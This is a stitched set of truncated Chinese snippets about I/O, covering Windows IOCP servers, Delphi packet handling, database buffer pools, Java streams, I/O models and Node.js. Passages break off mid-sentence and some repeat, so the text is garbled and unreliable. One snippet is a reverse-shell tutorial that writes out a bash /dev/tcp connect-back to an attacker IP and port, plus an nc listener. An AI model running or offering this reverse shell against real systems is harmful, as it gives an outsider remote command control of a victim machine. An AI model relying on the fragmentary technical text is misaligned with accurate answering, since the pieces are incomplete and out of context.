/O结构 3.创建完成端口 4.创建服务线程 5.接收客户端连接请求 6.关联这个套接字到完成端口中 7.服务线程中不断的等待...2.在GetQueuedCompletionStatus中,没有错误,但总是返回读取的字数为0。I/O重叠结构中也收不到任何字符。...一定是哪里指定了接收的数目,而自己不小心指定为0了,所以没有接收数据。找了半天果然如此。在发起重叠操作时候,扩展的I/O中WSABUF的赋值有问题。...我的错误:wsaBuf.len = (I/O结构).len; 改为: wsaBuf.len = (I/O结构).len = DATABUF_SIZE; 修改之后终于可以接收和发送数据了...用这个接收到的套接字去发起重叠的I/O操作。 8.多次重复5,6就是多次发起接收连接的异步操作的过程。
Boolean; const MaxPacket = 1024; PacketLength = 4; var Temp:pchar; TempLen,PacketHeader:Integer; I,...Fillchar(TempArray,sizeof(TempArray),#0); for I:=0 to DealDataList.Count-1 do begin SocketData:=...DealDataList.Items[I]; if SocketData.Socket = socket then begin strmove(TempArray,SocketData.DataBuf...,sizeof(SocketData.DataBuf)); TempCurr:=SocketData.DataLen; CurrListI:=I; break; end; end; //我们将每次处理粘包以后剩余的数据保存在一个...TempArray+TempCurr,SorucePacket+TempLen,SPLen-TempLen); TempCurr:=TempCurr+SPLen-TempLen; //已经将数据拷贝完成
数据库存储的基本单位是页,对于一棵 B+ 树的索引来说,是先从根节点找到叶子节点,也就是先查找数据行所在的页,再将页读入到内存中,在内存中对页的记录进行查找,从而得到想要数据,想要查找的,只是一行记录,...但是对于磁盘 I/O 来说却需要加载一页的信息,因为页是最小的存储单位。...数据库缓冲池磁盘 I/O 需要消耗的时间很多,而在内存中进行操作,效率则会高很多,为了能让数据表或者索引中的数据随时被我们所用,DBMS 会申请占用内存来作为数据缓冲池...,这样做的好处是可以让磁盘活动最小化,从而减少与磁盘直接进行 I/O 的时间。...图片顺序读取顺序读取其实是一种批量读取的方式,因为我们请求的数据在磁盘上往往都是相邻存储的,顺序读取可以帮我们批量读取页面,这样的话,一次性加载到缓冲池中就不需要再对其他页面单独进行磁盘 I/O 操作了
马克-to-win:很多老司机还搞不清什么是I什么是O。很简单,我有个土办法。以内存为单位,数据进内存叫In,出内存叫Out。读文件,是数据从硬盘进到内存,所以用in类型流来处理。
数据库存储的基本单位是页,对于一棵 B+ 树的索引来说,是先从根节点找到叶子节点,也就是先查找数据行所在的页,再将页读入到内存中,在内存中对页的记录进行查找,从而得到想要数据,想要查找的,只是一行记录,...但是对于磁盘 I/O 来说却需要加载一页的信息,因为页是最小的存储单位。...数据库缓冲池磁盘 I/O 需要消耗的时间很多,而在内存中进行操作,效率则会高很多,为了能让数据表或者索引中的数据随时被我们所用,DBMS 会申请占用内存来作为数据缓冲池,这样做的好处是可以让磁盘活动最小化...,从而减少与磁盘直接进行 I/O 的时间。...顺序读取顺序读取其实是一种批量读取的方式,因为我们请求的数据在磁盘上往往都是相邻存储的,顺序读取可以帮我们批量读取页面,这样的话,一次性加载到缓冲池中就不需要再对其他页面单独进行磁盘 I/O 操作了。
获取对端和本端的ip地址和端口号,即AcceptEx的 第三个参数lpOutputBuffer中拿(这一步,不是必须) 2....,第1步和第2步不是必须的,而第3步是必须的,如果不及时补充的话,等连接数多于准备的socket,可能就会发生故障了。...首先取得连入客户端的地址信息 // 这个 m_lpfnGetAcceptExSockAddrs 不得了啊~~~~~~ // 不但可以取得客户端和本地端的地址信息, //还能顺便取出客户端发来的第一组数据...比如可以在新连接接收成功之后,立即准备给对端发数据;或者在收到对端数据的时候准备给对端发数据;在发送数据完成后准备收对端数据。...获取对端和本端的ip地址和端口号, 即AcceptEx的第三个参数lpOutputBuffer中拿(这一步,不是必须) 2.
这违反了SRP原则,因为Person类应该只负责表示一个人的信息,而不应该与钱包的操作有关。应该将钱包的操作单独封装到一个Wallet类中,让Person类只负责人的信息。...符合SRP原则的示例在这个示例中,Person类仅包含一个名为Wallet的成员变量,而不包含任何关于钱包的操作。这里将钱包的操作单独封装到Wallet类中,让Person类只负责人的信息。...违反OCP原则的示例如果在一个类中使用了switch语句来判断不同的情况,当需要添加一个新的情况时,必须修改源代码,这是违反OCP的。符合OCP原则的示例那么为了满足开闭原则,需要怎么做呢?...抽象化是开闭原则的关键。这个示例遵循OCP原则,因为它将支付方式的处理逻辑封装在不同的实现了Payment接口的类中。...当需要添加新的支付方式时,只需要创建一个新的实现了Payment接口的类即可,不需要修改任何现有的类。
系列目录 关于windows完成端口(IOCP)的一些理解(一) 关于windows完成端口(IOCP)的一些理解(二) 关于windows完成端口(IOCP)的一些理解(三) 关于windows完成端口...(IOCP)的一些理解(四) 关于windows完成端口(IOCP)的一些理解(五) 关于windows完成端口(IOCP)的一些理解(六) 1 现在还剩下最后一个问题,就是工作线程如何退出。...我们小结一下,掌握完成端口的关键在于理解以下几点: 完成端口绑定了某个socket后,不仅其事件的读写检测由操作系统完成,而且就算是接受新连接、收发数据的动作也是由操作系统代劳了,操作系统完成后会通知你...)的一些理解(二) 关于windows完成端口(IOCP)的一些理解(三) 关于windows完成端口(IOCP)的一些理解(四) 关于windows完成端口(IOCP)的一些理解(五) 关于windows...完成端口(IOCP)的一些理解(六)
系列目录 关于windows完成端口(IOCP)的一些理解(一) 关于windows完成端口(IOCP)的一些理解(二) 关于windows完成端口(IOCP)的一些理解(三) 关于windows完成端口...(IOCP)的一些理解(四) 关于windows完成端口(IOCP)的一些理解(五) 关于windows完成端口(IOCP)的一些理解(六) #include "StdAfx.h" #include...O请求 for( int i=0;ii++ ) { // 新建一个IO_CONTEXT PER_IO_CONTEXT...(IOCP)的一些理解(六)》 系列目录 关于windows完成端口(IOCP)的一些理解(一) 关于windows完成端口(IOCP)的一些理解(二) 关于windows完成端口(IOCP)的一些理解...(三) 关于windows完成端口(IOCP)的一些理解(四) 关于windows完成端口(IOCP)的一些理解(五) 关于windows完成端口(IOCP)的一些理解(六)
系列目录 关于windows完成端口(IOCP)的一些理解(一) 关于windows完成端口(IOCP)的一些理解(二) 关于windows完成端口(IOCP)的一些理解(三) 关于windows完成端口...(IOCP)的一些理解(四) 关于windows完成端口(IOCP)的一些理解(五) 关于windows完成端口(IOCP)的一些理解(六) 本人很多年前接触完成端口以来,期间学习和练习了很多次,本以为自己真正地理解了其原理...这篇文章将从为什么这么做的角度来解释完成端口的一些重难点。...O请求 for( int i=0;ii++ ) { // 新建一个IO_CONTEXT PER_IO_CONTEXT* pAcceptIoContext...(IOCP)的一些理解(一) 关于windows完成端口(IOCP)的一些理解(二) 关于windows完成端口(IOCP)的一些理解(三) 关于windows完成端口(IOCP)的一些理解(四) 关于
但是编写高效,便携式I / O非常困难,特别是如果我们必须处理不同的字符集。 这就解释了为什么有这么多的I / O包(在JDK 1.7中有9个)!...JDK有两套 I / O 包: 自JDK 1.0引入的基于流的I / O的标准I / O(在包java.io中) 在JDK 1.4中引入的新的I / O(在java.nio包中)用于更有效的基于缓冲区的...JDK 1.7通过新的包java.nio.file及其辅助包中的所谓的NIO.2(非阻塞I / O)来增强对文件I / O的支持。...因此,Java需要区分用于处理原始字节或二进制数据的基于字节的I / O以及用于处理由字符组成的文本的基于字符的I / O。 ?...O Streams 我们通过构建流的实例来打开I / O流。
因此,Java必须区分用于处理8位原始字节的基于字节的I / O和用于处理文本的基于字符的I / O。 字符流需要在外部I / O设备使用的字符集和Java内部UCS-2格式之间进行转换。...字节/字符流是指Java程序中的操作单元,不需要与从外部I / O设备传送的数据量相对应。...---- Abstract superclass Reader and Writer 除了操作和字符集转换(这非常复杂)之外,基于字符的I / O几乎与基于字节的I / O相同。...而不是InputStream和OutputStream,我们使用Reader和Writer来进行基于字符的I / O。...FileReader / FileWriter或其他字符流的顶部,以执行缓冲I / O,而不是逐个字符的读取。
高效的IO就是:单位时间内,“等” 的时间比重越低,IO效率越高。 阻塞I/O 特点:进程发起I/O操作后,全程阻塞,直到数据就绪并完成复制。阻塞 IO 是最常见的 IO 模型。...优缺点:实现简单,但资源利用率低,无法处理高并发。 非阻塞I/O 特点:进程通过轮询检查I/O状态,数据未就绪时立即返回错误。...优缺点:单线程处理多I/O,高并发下高效(如epoll),但编程复杂度较高。 信号驱动I/O 特点:通过信号(如SIGIO)通知数据就绪,应用异步处理。...优缺点:减少轮询开销,但信号处理复杂,适用场景有限(如UDP)。 异步I/O 特点:内核完成所有操作后通知应用,全程无阻塞。...完成后通过回调或信号通知应用。 优缺点:高效且资源利用率高,但依赖操作系统支持(如Linux的io_uring或Windows的IOCP)。
Varnish与Squid都是一个反向代理服务器,都可用作高性能的代理缓存服务器,并且都是开源软件 Varnish已经得到了高度认可,普遍认为它更优于Squid,下面看下Varnish的优缺点 优点 稳定性很高...,两者在完成相同负荷的工作时,Squid服务器发生故障的几率要高于Varnish,因为Squid需要经常重启 访问速度更快,Varnish采用了“Visual PageCache”技术,所有缓存数据都直接从内存读取...,而Squid是从硬盘读取缓存数据,因此Varnish在访问速度方面会更快 支持更多的并发连接,因为Varnish的TCP连接释放要比Squid快,所以在高并发连接情况下可以支持更多的TCP连接 Varnish...可以通过管理端口,使用正则表达式批量清除部分缓存,而Squid做不到 缺点 Varnish在高并发状态下CPU、I/O和内存等资源开销都高于Squid Varnish进程一旦挂起、崩溃或者重启,缓存数据都会从内存中完全释放
说明在8086单CPU模式系统中,8284、8282、8286等芯片的作用。为什么要在CPU与外设之间设置接口?接口的基本功能。...CPU与外设之间的数据传送方式:程序控制方式、中断传送方式、直接存储器存取方式的含义、适用场合、优缺点。两种I/O端口编址方式的优缺点。
BIO、NIO和AIO是Java编程语言中用于处理输入输出(IO)操作的三种不同的机制,它们分别代表同步阻塞I/O,同步非阻塞I/O和异步非阻塞I/O。...AIO模型有以下特性: 异步能力:AIO模型的最大特性是异步能力,对于socket和I/O操作都有效。读写操作都是异步的,完成后会自动调用回调函数。...总结 Java中的BIO、NIO和AIO都是处理输入/输出(I/O)操作的模型,但它们在处理方式和效率上有所不同。 BIO(Blocking I/O):BIO是最传统的I/O模型,它的操作都是阻塞的。...NIO(Non-blocking I/O):NIO是非阻塞的I/O模型,它允许线程在等待I/O操作完成时进行其他任务。NIO引入了Channel和Buffer的概念,以及Selector用于多路复用。...AIO(Asynchronous I/O):AIO是真正的异步I/O模型,应用程序无需等待I/O操作的完成,当操作完成时,操作系统会通知应用程序。
3、优缺点 独立编址主要优点是: 1)、I/O端口地址不占用存储器空间;使用专门的I/O指令对端口进行操作,I/O指令短,执行速度快。...3)、同时,由于使用专门的I/O指令访问端口,并且I/O端口地址和存储器地址是分开的,故I/O端口地址和存储器地址可以重叠,而不会相互混淆。...内核也为以上函数定义了一些应用于I/O端口的快捷函数:request_region( )分配I/O端口的给定范围,release_region( )释放以前分配给I/O端口的范围。...内核的如下一组函数来完成访问I/O内存:·读I/O内存 unsigned int ioread8(void *addr); unsigned int ioread16(void *addr); unsigned...设备访问编程接口访问这些寄存器了,访问完成后,使用ioremap()对申请的虚拟地址进行释放,并释放release_mem_region()申请的IO内存资源。
背景介绍 我们日常工作中或多或少听说过以下的话: Node是一个非阻塞I/O(non-blocking I/O)和事件驱动(event-driven)的JavaScript运行环境(runtime),...实际上Node底层会使用libuv的多线程能力将一部分工作(基本都是I/O相关操作)放在一些主线程之外的线程里面执行,当这些任务完成后再以回调函数的方式将结果返回到主线程的JavaScript执行环境。...Node适合做I/O密集型应用 从上面的分析中我们知道Node会将所有的I/O操作通过libuv的多线程能力分散到不同的线程里面执行,其余的操作都放在主线程里面执行。...为什么说hardWork函数是CPU密集型的呢?这是因为它都是在CPU的运算器里面对i进行算术运算而没有进行任何I/O操作。...Worker Thread的优缺点 最后我们还是总结一下Worker Thread的优缺点。
bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1 何为shell Shell 脚本(shell script),是一种为 shell 编写的脚本程序。...优点: 靶机更换ip后依然不会丢失权限 连接方便、操作简单 相较于传统后门不易被清理等优势; ::: 正向shell 可以理解为q1给q2打电话,q2接电话,完成信息接通 反弹shell 可以理解为...install nc -y 使用方法 nc -lvp 4444 # -lvp (l监听v输出p端口) 实战 靶机执行: bash -i >& /dev/tcp/192.168.0.10/4444 0...) # 192.168.0.10/4444 连接的ip和端口(即本地计算机) # 0>&1 远程的输入和输出(消息呈现方式为远程) 命令 解释 bash -i 启动交互式命令bash -i 将输出重定向到文件...,欢迎留言 写作耗时约2h@(。・o・)@ https://blog.csdn.net/qq_37092496/article/details/122931617 ↩︎
其一年一度的Gartner《I&O自动化成熟度曲线》报告阐明了创新采用、成熟度以及解决企业实际商业机会的能力。本文总结了2021年这个领域出现的最大变化。...面对厂商的炒作,有时很难辨别真伪。不妨让我们更仔细地看看Gartner的《2021年I&O自动化成熟度曲线》所出现的最大变化。...I&O自动化成熟度曲线上的进取者 2020年成熟度曲线上显示的大多数类别在2021年继续向前推进,但仍处于同样的阶段。一些技术进入到了创新过程中的新阶段,只是步伐不一。...容器管理、应用程序发布编排(ARO)、网络自动化和不可变基础设施这几个类别都进入了泡沫化的底谷期,I&O团队试图将其试点项目的结果与过于乐观的预期相协调。...I&O自动化成熟度曲线上的新来者 11个类别是2021年《I&O自动化成熟度曲线》的新成员。这些新成员中的大多数处于概念验证的早期阶段,不过有几个已跃过了这个阶段。
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